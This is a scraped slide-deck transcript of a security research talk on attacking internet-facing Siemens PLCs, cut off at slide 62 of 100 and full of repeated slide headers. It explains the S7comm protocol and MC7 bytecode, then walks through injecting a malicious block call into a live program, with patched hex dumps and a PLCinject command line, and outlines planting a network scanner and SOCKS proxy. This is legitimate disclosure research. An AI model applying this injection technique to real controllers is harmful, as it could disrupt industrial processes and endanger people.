internet-facing plcs - a new back orifice block binary representation block type ob 08, db 0a, sdb...

108
SCADACS Internet-Facing PLCs - A New Back Orifice Johannes Klick, Stephan Lau, Daniel Marzin, Jan-Ole Malchow, Volker Roth <firstname>.<lastname>@scadacs.org AG Secure Identity Department of Mathematics and Computer Science Freie Universit¨ at Berlin www.scadacs.org 1 / 100

Upload: nguyenbao

Post on 14-Mar-2018

219 views

Category:

Documents


5 download

TRANSCRIPT

Page 1: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Internet-Facing PLCs - A New Back Orifice

Johannes Klick, Stephan Lau, Daniel Marzin,Jan-Ole Malchow, Volker Roth<firstname>.<lastname>@scadacs.org

AG Secure IdentityDepartment of Mathematics and Computer Science

Freie Universitat Berlinwww.scadacs.org

1 / 100

Page 2: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Opening

2 / 100

Page 3: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Volker Roth Jan-Ole Malchow Johannes KlickDaniel Marzin Sascha Zinke Stephan LauStephan Arndt Marl Joos Matthias SekulJacob Bode Marvin Ullrich Yannik Robin KettenbachTina Meyer Hinnerk van Bruinehsen

https://www.scadacs.org

3 / 100

Page 4: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk Overview

4 / 100

Page 5: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

5 / 100

Page 6: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

5 / 100

Page 7: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

◮ Generell Attack Overview

5 / 100

Page 8: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

◮ Generell Attack Overview

Siemens PLCs

◮ STL Language and its MC7 Bytecode

5 / 100

Page 9: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

◮ Generell Attack Overview

Siemens PLCs

◮ STL Language and its MC7 Bytecode

◮ S7Comm Protocol (downloading program blocks)

5 / 100

Page 10: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

◮ Generell Attack Overview

Siemens PLCs

◮ STL Language and its MC7 Bytecode

◮ S7Comm Protocol (downloading program blocks)

Attack Details

◮ PLC Code Injection with PLCinject (Demo)

5 / 100

Page 11: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

◮ Generell Attack Overview

Siemens PLCs

◮ STL Language and its MC7 Bytecode

◮ S7Comm Protocol (downloading program blocks)

Attack Details

◮ PLC Code Injection with PLCinject (Demo)

◮ SNMP Scanner & SOCKS Proxy in STL

5 / 100

Page 12: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Talk OverviewIntroduction

◮ Traditional Attack Vectors

◮ Internet-facing PLCs

◮ Generell Attack Overview

Siemens PLCs

◮ STL Language and its MC7 Bytecode

◮ S7Comm Protocol (downloading program blocks)

Attack Details

◮ PLC Code Injection with PLCinject (Demo)

◮ SNMP Scanner & SOCKS Proxy in STL

◮ Attack Evaluation5 / 100

Page 13: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Traditional Attack Vectors ofPLCs

6 / 100

Page 14: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Traditional Attack Vectors of PLCs

Stuxnet

◮ Compromising an off-line site through the supply chain

7 / 100

Page 15: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Traditional Attack Vectors of PLCs

Stuxnet

◮ Compromising an off-line site through the supply chain

◮ Compromised Siemens IDE downloaded malicious code tothe PLC.

7 / 100

Page 16: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

German steelwork

◮ Compromising an on-line site through the business IT

8 / 100

Page 17: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

German steelwork

◮ Compromising an on-line site through the business IT

◮ Manipulated steel works ICS damaged the furnace

8 / 100

Page 18: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Control System Distribution - Europe

Datasource: SHODAN (2015)9 / 100

Page 19: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Control System Distribution - USA

Datasource: SHODAN (2015)

10 / 100

Page 20: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Internet-facing Control Systems (worldwide)

Table : Comparison of counts per digital control device type(Datasource: SHODAN).

Category 2013 2015 ChangePLCND 23.873 44.883 +88%BMS 31.411 33.883 +7%PLC 7.254 28.189 +289%SCADA 2.254 5.813 +158%ERP 1.400 1.774 +27%TM 788 1.726 +119%HMI 1.741 979 −44%

86.181 109.692 +27%

11 / 100

Page 21: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Internet-facing PLCs

◮ What is behind an Internet facing PLC?

◮ Are there more indirect internet facing PLCs?

◮ Maybe a whole production network?

12 / 100

Page 22: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview

13 / 100

Page 23: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview I

PLC 1 is connected to the Internet.

14 / 100

Page 24: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview II

The attacker injects a network scanner. . .

15 / 100

Page 25: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview III

. . . to discover the devices on the local network. . .

16 / 100

Page 26: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview IV

. . . to discover the devices on the local network. . .

17 / 100

Page 27: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview V

. . . to discover the devices on the local network. . .

18 / 100

Page 28: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview VI

. . . and retrieves the results.

19 / 100

Page 29: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview VII

Next he adds a proxy. . .

20 / 100

Page 30: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Overview VIII

. . . to pwn the local devices.

21 / 100

Page 31: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Introduction to Siemens PLCs

22 / 100

Page 32: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Introduction to Siemens PLCs

1. PLC

2. Cyclic execution model, I/O

3. Program structure and organization

4. STL programs and their MC7 representation

23 / 100

Page 33: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Introduction to Siemens PLCsWhat is a PLC?

◮ Programmable Logic Controller

◮ realtime industrial computer controlling an industrialprocess

◮ inputs connected to sensors

◮ outputs connected to actuators

◮ program controls outputs as a function of the inputs (andits internal state)

24 / 100

Page 34: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Introduction to Siemens PLCsCyclic execution model, I/O

Source: Siemens, “S7-300 CPU 31xC and CPU 31x: Technical specifications”

25 / 100

Page 35: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Introduction to Siemens PLCsProgram structure and organization

Block type Description

Organization Block OB Program entry point

Data Block DB Data storage

Function FC Function

Function Blocks FB Stateful function

System Functions SFC, SFB System library

System Data Blocks SDB PLC configuration

26 / 100

Page 36: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Programming Siemens PLC in STL

Boolean term:

◮ Q0.0 = (I0.0 ∧ I0.1) ∨ I0.2

Statement List (STL):

27 / 100

Page 37: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationDescription Bytes Offset

Block signature 2 0Block version 1 2Block attribute 1 3Block language 1 4Block type 1 5Block number 2 6Block length 4 8Block password 4 12Block last modified date 6 16Block interface last modified date 6 22Block interface length 2 28Block Segment table length 2 30Block local data length 2 32Block data length 2 34Data (MC 7 / DB) x 36Block signature 1 36+x 28 / 100

Page 38: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representation

OB 1 with

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

is compiled to

00: 7070 0101 0108 0001 0000 0074 0000 0000 pp.........t....

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006 ..’5-...c.!.....

20: 0014 000a c000 c100 ca00 d880 6500 0100 ............e...

30: 0014 0000 0002 0502 0502 0502 0502 0502 ................

40: 0505 0505 0505 050e 0520 0100 0800 0000 ......... ......

50: 0000 0000 0000 0000 0000 0000 0000 0000 ................

60: 0000 0000 0000 0000 0100 a691 0000 0000 ................

70: 0000 0000 ....

29 / 100

Page 39: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationBlock Type

OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

30 / 100

Page 40: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationBlock Number

Block number is 1

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

31 / 100

Page 41: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationTotal block length

Total block length is 116 bytes

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

32 / 100

Page 42: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationData/Code Length

Code section has 10 bytes

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

33 / 100

Page 43: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationMC7 Opcodes

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

34 / 100

Page 44: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationMC7 Opcodes

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

35 / 100

Page 45: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationMC7 Opcodes

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

36 / 100

Page 46: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationMC7 Opcodes

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

37 / 100

Page 47: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Program block binary representationMC7 Opcodes

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

BE

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

38 / 100

Page 48: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

S7comm

39 / 100

Page 49: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

S7commS7comm Protocol Structure

40 / 100

Page 50: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

S7commDownload Procedure

41 / 100

Page 51: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

S7commProtocol details

Wireshark can dissect S7comm with the dissector available at

http://sourceforge.net/projects/s7commwireshark/

42 / 100

Page 52: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

S7commProtocol details

Implementation of partial S7comm available at

http://snap7.sourceforge.net/

43 / 100

Page 53: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Attack Details

44 / 100

Page 54: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SCADACS

Attack Details

1. Instrumenting live PLC programs with scanning malware

2. SNMP scanning

3. Collecting the scan results

4. Instrumenting live PLC programs with proxy malware

5. Connecting to PLCs through the proxy malware

45 / 100

Page 55: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Details IOverview

PLC 1 is connected to the Internet

46 / 100

Page 56: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Details IIOverview

Attacker downloads the main program block. . .

47 / 100

Page 57: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack DetailsOverview

◮ Example PLC code

48 / 100

Page 58: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack DetailsOverview

◮ OB1 with prepended function call to FC 666

49 / 100

Page 59: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

OverviewBefore injection

A %I0.0

A %I0.1

O %I0.2

= %Q0.0

BE

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50 / 100

Page 60: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

OverviewInjection

CALL FC666 1. insert block callJU L1

L1: A %I0.0

A %I0.1

O %I0.2

= %Q0.0

BE

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a fb70 029a 700b 0002 c000 c100

30: ca00 d880 6500 0100 0014 0000 0002 0502

40: 0502 0502 0502 0502 0505 0505 0505 ...

51 / 100

Page 61: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

OverviewInjection

CALL FC666 1. insert block callJU L1

L1: A %I0.0

A %I0.1

O %I0.2

= %Q0.0

BE

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a fb70 029a 700b 0002 c000 c100

30: ca00 d880 6500 0100 0014 0000 0002 0502

40: 0502 0502 0502 0502 0505 0505 0505 ...

52 / 100

Page 62: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

OverviewInjection

CALL FC666 1. insert block callJU L1 2. increase total block length

L1: A %I0.0

A %I0.1

O %I0.2

= %Q0.0

BE

00: 7070 0101 0108 0001 0000 007C 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a fb70 029a 700b 0002 c000 c100

30: ca00 d880 6500 0100 0014 0000 0002 0502

40: 0502 0502 0502 0502 0505 0505 0505 ...

53 / 100

Page 63: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

OverviewInjection

CALL FC666 1. insert block callJU L1 2. increase total block length

L1: A %I0.0 3. increase code lengthA %I0.1

O %I0.2

= %Q0.0

BE

00: 7070 0101 0108 0001 0000 007C 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 0012 fb70 029a 700b 0002 c000 c100

30: ca00 d880 6500 0100 0014 0000 0002 0502

40: 0502 0502 0502 0502 0505 0505 0505 ...

54 / 100

Page 64: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

PLCinject

55 / 100

Page 65: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

PLCinjectRelease

plcinject -c ip [-r rack=0] [-s slot=2] [-b block]

[-p block] [-f dir] [-d]

-d Display available blocks on PLC

-p Block that has to be injected/patched with a call

instruction: OBx, FBx or FCx on PLC, e.g. OB1

-b Block to call

-f Path to your block(s) you want to download

to the plc

Example:

plcinject -c 10.0.0.1 -p OB1 -b FB1000 -f /home/user/PATH

Available at https://github.com/SCADACS/PLCinject56 / 100

Page 66: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

PLCinjectLive Demo

PLCinject with example Payload (running light) and a PLC

57 / 100

Page 67: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

. . . patches it and uploads a SNMP scanner

58 / 100

Page 68: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

59 / 100

Page 69: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attacker downloads the scanning results

60 / 100

Page 70: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

A SOCKS proxy enables him to reach the net behind the PLC

61 / 100

Page 71: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SNMP Scanner

62 / 100

Page 72: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SNMP ScannerRationale

◮ ping is not possible

◮ TCP is not adequate

◮ number of overall connections is limited

